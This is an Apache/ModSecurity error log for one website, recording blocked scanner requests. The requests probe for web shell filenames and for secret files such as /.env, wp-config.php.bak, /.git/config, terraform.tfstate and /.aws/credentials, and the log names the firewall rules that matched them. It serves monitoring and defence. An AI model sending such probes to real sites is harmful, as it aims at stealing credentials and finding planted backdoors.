[Sun Apr 26 01:40:26.516619 2026] [:error] [pid 3212:tid 3238] [client 158.158.52.225:51268] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aez8ivg-28TY8_YLtUfCNwAAARg"]
[Sun Apr 26 01:40:27.760982 2026] [:error] [pid 3212:tid 3226] [client 158.158.52.225:42140] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aez8i_g-28TY8_YLtUfCOQAAAQw"]
[Sun Apr 26 01:40:28.566994 2026] [:error] [pid 3212:tid 3232] [client 158.158.52.225:19604] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aez8jPg-28TY8_YLtUfCPQAAARI"]
[Sun Apr 26 01:40:31.099428 2026] [:error] [pid 3212:tid 3215] [client 158.158.52.225:51273] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aez8j_g-28TY8_YLtUfCRgAAAQE"]
[Sun Apr 26 01:40:32.068391 2026] [:error] [pid 3212:tid 3232] [client 158.158.52.225:4047] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aez8kPg-28TY8_YLtUfCSAAAARI"]
[Sun Apr 26 01:40:32.908974 2026] [:error] [pid 3212:tid 3234] [client 158.158.52.225:11368] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aez8kPg-28TY8_YLtUfCTgAAARQ"]
[Sun Apr 26 01:40:35.420757 2026] [:error] [pid 3212:tid 3218] [client 158.158.52.225:51264] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aez8k_g-28TY8_YLtUfCXgAAAQQ"]
[Sun Apr 26 01:40:37.432386 2026] [:error] [pid 59898:tid 59961] [client 158.158.52.225:12550] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aez8lR-4vImxb0kbdzff0QAAAMc"]
[Sun Apr 26 01:40:38.780431 2026] [:error] [pid 59898:tid 59973] [client 158.158.52.225:11388] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aez8lh-4vImxb0kbdzff2QAAANM"]
[Sun Apr 26 01:40:40.880460 2026] [:error] [pid 59898:tid 59959] [client 158.158.52.225:45060] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aez8mB-4vImxb0kbdzff3AAAAMU"]
[Sun Apr 26 01:40:42.148926 2026] [:error] [pid 59985:tid 60006] [client 158.158.52.225:27076] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aez8mgF_zDvEhKvyTH4BRwAAABM"]
[Sun Apr 26 01:40:44.020196 2026] [:error] [pid 59897:tid 59948] [client 158.158.52.225:33807] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aez8nPBrrkdzpEbmK4fC8gAAAJU"]
[Sun Apr 26 01:40:48.318290 2026] [:error] [pid 59898:tid 59958] [client 158.158.52.225:62068] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aez8oB-4vImxb0kbdzff6gAAAMQ"]
[Sun Apr 26 01:40:50.691775 2026] [:error] [pid 3212:tid 3215] [client 158.158.52.225:60769] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aez8ovg-28TY8_YLtUfCiQAAAQE"]
[Sun Apr 26 01:40:51.931335 2026] [:error] [pid 59898:tid 59963] [client 158.158.52.225:60769] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aez8ox-4vImxb0kbdzff8gAAAMk"]
[Sun Apr 26 01:40:52.827799 2026] [:error] [pid 59985:tid 60004] [client 158.158.52.225:15304] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aez8pAF_zDvEhKvyTH4BUwAAABE"]
[Sun Apr 26 01:40:54.014622 2026] [:error] [pid 3212:tid 3237] [client 158.158.52.225:18967] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aez8pvg-28TY8_YLtUfCowAAARc"]
[Sun Apr 26 01:40:55.873280 2026] [:error] [pid 3212:tid 3226] [client 158.158.52.225:3410] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aez8p_g-28TY8_YLtUfCsAAAAQw"]
[Sun Apr 26 01:40:58.722181 2026] [:error] [pid 59896:tid 59913] [client 158.158.52.225:15353] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "aez8qrLLzhtkd-OXUgBY2AAAAE0"]
[Sun Apr 26 01:41:02.563360 2026] [:error] [pid 3212:tid 3225] [client 158.158.52.225:54718] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "aez8rvg-28TY8_YLtUfCvwAAAQs"]
[Sun Apr 26 01:41:04.419965 2026] [:error] [pid 59985:tid 60007] [client 158.158.52.225:31958] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "aez8sAF_zDvEhKvyTH4BXQAAABQ"]
[Sun Apr 26 01:41:11.118681 2026] [:error] [pid 59898:tid 59967] [client 158.158.52.225:64079] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "aez8tx-4vImxb0kbdzfgEQAAAM0"]
[Sun Apr 26 01:41:14.002597 2026] [:error] [pid 59897:tid 59940] [client 158.158.52.225:25472] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aez8uvBrrkdzpEbmK4fDIQAAAI0"]
[Sun Apr 26 01:41:16.156816 2026] [:error] [pid 59897:tid 59932] [client 158.158.52.225:33856] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aez8vPBrrkdzpEbmK4fDJQAAAIU"]
[Sun Apr 26 01:41:17.493811 2026] [:error] [pid 3212:tid 3234] [client 158.158.52.225:33867] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aez8vfg-28TY8_YLtUfC3gAAARQ"]
[Sun Apr 26 01:41:19.938181 2026] [:error] [pid 59985:tid 60005] [client 158.158.52.225:54660] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aez8vwF_zDvEhKvyTH4BbwAAABI"]
[Sun Apr 26 01:41:21.461995 2026] [:error] [pid 59897:tid 59934] [client 158.158.52.225:12620] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aez8wfBrrkdzpEbmK4fDKQAAAIc"]
[Sun Apr 26 01:41:22.465809 2026] [:error] [pid 59898:tid 59967] [client 158.158.52.225:3850] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aez8wh-4vImxb0kbdzfgHgAAAM0"]
[Sun Apr 26 01:41:28.599179 2026] [:error] [pid 59896:tid 59913] [client 158.158.52.225:48387] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Sun Apr 26 01:41:28.867227 2026] [:error] [pid 59896:tid 59900] [client 158.158.52.225:48387] File does not exist: /usr/local/apache/htdocs/suspended-page/file48.php
[Sun Apr 26 01:41:29.847909 2026] [:error] [pid 59896:tid 59902] [client 158.158.52.225:48387] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sun Apr 26 01:41:30.174029 2026] [:error] [pid 59896:tid 59917] [client 158.158.52.225:48387] File does not exist: /usr/local/apache/htdocs/suspended-page/drykl.php
[Sun Apr 26 01:41:30.446566 2026] [:error] [pid 59896:tid 59923] [client 158.158.52.225:48387] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Sun Apr 26 01:41:31.992816 2026] [:error] [pid 59896:tid 59923] [client 158.158.52.225:48387] File does not exist: /usr/local/apache/htdocs/suspended-page/hypo.php
[Sun Apr 26 01:41:34.126599 2026] [:error] [pid 59896:tid 59916] [client 158.158.52.225:48387] File does not exist: /usr/local/apache/htdocs/suspended-page/file18.php
[Sun Apr 26 01:41:34.387847 2026] [:error] [pid 59896:tid 59921] [client 158.158.52.225:48387] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Sun Apr 26 01:41:35.249750 2026] [:error] [pid 59896:tid 59910] [client 158.158.52.225:48387] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Sun Apr 26 02:48:46.490103 2026] [:error] [pid 59985:tid 60011] [client 212.47.78.126:50398] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "ae0MjgF_zDvEhKvyTH4acQAAABg"]
[Sun Apr 26 02:48:47.085170 2026] [:error] [pid 3212:tid 3227] [client 212.47.78.126:56100] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "ae0Mj_g-28TY8_YLtUfq8AAAAQ0"]
[Sun Apr 26 02:48:47.693342 2026] [:error] [pid 3212:tid 3230] [client 212.47.78.126:64095] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/media/system/js/core.js"] [unique_id "ae0Mj_g-28TY8_YLtUfq8gAAARA"]
[Sun Apr 26 06:17:29.501883 2026] [:error] [pid 8385:tid 8446] [client 20.78.174.75:11086] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Apr 26 06:17:29.625522 2026] [:error] [pid 8385:tid 8431] [client 20.78.174.75:11086] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sun Apr 26 06:17:29.749139 2026] [:error] [pid 8385:tid 8428] [client 20.78.174.75:11086] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sun Apr 26 06:17:29.870980 2026] [:error] [pid 8385:tid 8447] [client 20.78.174.75:11086] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Sun Apr 26 06:17:30.005182 2026] [:error] [pid 8385:tid 8427] [client 20.78.174.75:11086] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sun Apr 26 06:17:30.127667 2026] [:error] [pid 8385:tid 8448] [client 20.78.174.75:11086] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sun Apr 26 06:17:30.264130 2026] [:error] [pid 8385:tid 8424] [client 20.78.174.75:11086] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Sun Apr 26 06:17:30.528801 2026] [:error] [pid 8385:tid 8434] [client 20.78.174.75:11086] File does not exist: /usr/local/apache/htdocs/suspended-page/404.php
[Sun Apr 26 06:17:30.651210 2026] [:error] [pid 8385:tid 8445] [client 20.78.174.75:11086] File does not exist: /usr/local/apache/htdocs/suspended-page/file3.php
[Sun Apr 26 06:17:30.776664 2026] [:error] [pid 8385:tid 8443] [client 20.78.174.75:11086] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Sun Apr 26 06:17:30.896382 2026] [:error] [pid 8385:tid 8444] [client 20.78.174.75:11086] [client 20.78.174.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "ae09ejOy7_J84Wx3-oxl4QAAAFQ"]
[Sun Apr 26 06:17:31.404609 2026] [:error] [pid 8390:tid 8458] [client 20.78.174.75:7969] [client 20.78.174.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "ae09e4GPtFK_i9p5yxQa9gAAAIc"]
[Sun Apr 26 06:17:32.100684 2026] [:error] [pid 8390:tid 8456] [client 20.78.174.75:17091] [client 20.78.174.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "ae09fIGPtFK_i9p5yxQa-QAAAIU"]
[Sun Apr 26 06:17:32.695513 2026] [:error] [pid 41906:tid 41918] [client 20.78.174.75:11115] [client 20.78.174.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "ae09fD3-0A3lxw9OXoAlKgAAAYo"]
[Sun Apr 26 09:53:08.327978 2026] [:error] [pid 8390:tid 8464] [client 20.172.38.178:51352] [client 20.172.38.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ae1wBIGPtFK_i9p5yxRr0AAAAI0"]
[Sun Apr 26 13:04:26.534832 2026] [:error] [pid 22573:tid 22619] [client 45.45.237.225:46100] [client 45.45.237.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "ae2c2nB3EmQlD4yKUt-UNAAAAYw"]
[Sun Apr 26 13:04:27.690065 2026] [:error] [pid 8390:tid 8467] [client 45.45.237.225:46168] [client 45.45.237.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ae2c24GPtFK_i9p5yxTIvgAAAJA"]
[Sun Apr 26 13:04:27.693098 2026] [:error] [pid 8390:tid 8470] [client 45.45.237.225:46152] [client 45.45.237.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "ae2c24GPtFK_i9p5yxTIvwAAAJM"]
[Sun Apr 26 13:04:27.700680 2026] [:error] [pid 8390:tid 8452] [client 45.45.237.225:46176] [client 45.45.237.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.old"] [unique_id "ae2c24GPtFK_i9p5yxTIwQAAAIE"]
[Sun Apr 26 13:04:27.700730 2026] [:error] [pid 8390:tid 8474] [client 45.45.237.225:46212] [client 45.45.237.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-config.php.bak"] [unique_id "ae2c24GPtFK_i9p5yxTIwgAAAJc"]
[Sun Apr 26 13:04:27.700824 2026] [:error] [pid 8390:tid 8455] [client 45.45.237.225:46136] [client 45.45.237.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.bak"] [unique_id "ae2c24GPtFK_i9p5yxTIwwAAAIQ"]
[Sun Apr 26 13:04:27.747556 2026] [:error] [pid 8390:tid 8462] [client 45.45.237.225:46218] [client 45.45.237.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ae2c24GPtFK_i9p5yxTIxwAAAIs"]
[Sun Apr 26 13:04:27.936193 2026] [:error] [pid 8390:tid 8465] [client 45.45.237.225:46234] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/terraform.tfstate"] [unique_id "ae2c24GPtFK_i9p5yxTIyQAAAI4"]
[Sun Apr 26 13:04:27.936344 2026] [:error] [pid 8390:tid 8471] [client 45.45.237.225:46248] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/serverless.yml"] [unique_id "ae2c24GPtFK_i9p5yxTIygAAAJQ"]
[Sun Apr 26 13:04:27.966500 2026] [:error] [pid 8390:tid 8474] [client 45.45.237.225:46198] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/docker-compose.yml"] [unique_id "ae2c24GPtFK_i9p5yxTIywAAAJc"]
[Sun Apr 26 13:04:28.001550 2026] [:error] [pid 8390:tid 8461] [client 45.45.237.225:46184] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.json"] [unique_id "ae2c3IGPtFK_i9p5yxTIzAAAAIo"]
[Sun Apr 26 13:04:28.001919 2026] [:error] [pid 8390:tid 8454] [client 45.45.237.225:46200] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.js"] [unique_id "ae2c3IGPtFK_i9p5yxTIzQAAAIM"]
[Sun Apr 26 13:04:28.687572 2026] [:error] [pid 8385:tid 8435] [client 45.45.237.225:45926] [client 45.45.237.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.aws/credentials"] [unique_id "ae2c3DOy7_J84Wx3-oyjBAAAAEs"]
